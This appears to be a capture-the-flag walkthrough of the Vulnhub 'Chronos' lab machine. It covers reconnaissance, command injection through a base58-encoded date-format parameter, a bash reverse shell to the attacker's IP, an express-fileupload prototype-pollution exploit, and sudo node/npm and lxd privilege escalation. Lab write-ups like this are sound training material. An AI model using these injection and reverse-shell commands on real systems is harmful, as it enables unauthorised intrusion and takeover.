Chronos is an easy/medium machine from Vulnhub by AL1ENUM. This machine is quite different from the usual easy machines. Also, I have tested this machine in VirtualBox. “Chronos Walkthrough – Vulnhub – Writeup”
Link to the machine: https://www.vulnhub.com/entry/chronos-1,735/
Bluemoon 2021 Walkthrough – Vulnhub – Writeup
Identify the target
Firstly, we have to identify the IP address of the target machine.
sudo netdiscover -r 10.0.0.0/24
Scan open ports
Next, we have to scan the open ports on the target. This would give us knowledge about the exposed services.
sudo nmap -v -T4 -p- -A -oN nmap.log 10.0.0.7
Here, we can see two webservers, Apache and Node.js Express.
Enumerate webserver
The default page of the webserver doesn’t have anything to do currently.
So, let’s check the source of the page.
On the page source, we see a hostname and a URL to check. Therefore, we have to add the host to our /etc/hosts file.
sudo vim /etc/hosts
Next, if I visit the aforementioned URL, we see a response of permission denied. That’s because it checks for a certain User-Agent. We can get this idea by looking further in the same code. We can confirm this by visiting the webserver in port 8000.
As we can see above, the User-Agent is Chronos instead of Mozilla Firefox. In a general scenario, we get the user agent as the client from which the resource is requested. For instance, the homepage has a user-agent Mozilla.
So, this means that, while sending the XHR request, the user agent is being changed. Now, let’s decode the parameter “format”.
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
When I fed the cyphertext to the https://dcode.fr website, it gave me that this is a base58 code.
Therefore, I decoded it using the same website. However, you can try a different tool like CyberChef.
Aside from this method, there is another way to identify the cypher type. Please check ProxyProgrammer’s video for this.
Remote command injection
Let’s revisit the decoded message.
'+Today is %A, %B %d, %Y %H:%M:%S.'
If you haven’t seen this anywhere, this is an argument for the Linux command “date”. For example, if you use the date command as follows, you will get the same exact result as the application.
date '+Today is %A, %B %d, %Y %H:%M:%S.'
Thus, this gives us an idea that there might be a possible use of the date command in the web application. Therefore, we can now bypass this feature and execute the command. I will listen on port 9001 and do a CURL request. To do so, we have to encode the command in the base58 format and execute the request.
To listen on port 9001:
nc -nlvp 9001
The actual command to inject:
curl http://10.0.0.4:9001
The base58 encoded command.
2pUZ7CUWFrx99GaCvH65ety1RtBJQPm4SGBz
We can update the format parameter from the repeater of the Burp suite with the encoded command.
Command to get the reverse shell:
;bash -c 'bash -i >& /dev/tcp/10.0.0.4/9001 0>&1'
Encoded command:
AcfM7aabEqtLg1DJevhtZQ5ojEnMXKej6h619zktD9t8rA6j1RZH81qrJCYmuc1XUyU
Next, I upgraded the shell. Check the following link.
Upgrade to an intelligent reverse shell
User privilege escalation
In the directory /opt, we see another version of the same webapp.
We see a vulnerable version of express-fileupload that suffers from prototype pollution resulting in RCE.
Check the following link for the exploit code.
cd /tmp
vim exploit.py
Then, I opened port 9002 using netcat in my local machine.
nc -nlvp 9002
So, I executed the exploit as follows.
python3 exploit.py
This gave me the user’s access.
I also upgraded the shell as before.
Root privilege escalation
There is one way to perform root privilege escalation on the target. The user has permission to execute the binary node as root. In addition to these, the user can also execute npm as root, however, this couldn’t land me a root shell. Likewise, we also cannot escalate using the group lxd on this target.
RPE using npm (doesn’t work)
Reference: https://gtfobins.github.io/gtfobins/npm/#sudo
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/bash"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
This should give a root shell as per gtfobins, but it doesn’t.
RPE using node
Reference: https://gtfobins.github.io/gtfobins/node/#sudo
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
RPE using lxd (Doesn’t work)
Firstly, we have to check if lxd and lxc are present on the target.
which lxc
which lxd
On the target machine, we have to do the following steps. However, if you have already done these types of exploits, you can just switch to the directory and serve it.
# Install dependencies
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
# Clone repo
go get -d -v github.com/lxc/distrobuilder
# Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# Create the container
sudo /home/kali/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
# Serve the directory
python3 -m http.server
On the target machine, we have to get the images.
# Get the images
wget http://10.0.0.4:8000/lxd.tar.xz
wget http://10.0.0.4:8000/rootfs.squashfs
# Import images
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list # You can see your new imported image
# Initialze the container
lxc init alpine privesc -c security.privileged=true
We get an issue that we have to initialize lxd.
Conclusion
Despite having three possible ways to get root access, we can only exploit node binary. Overall, the machine is quite good.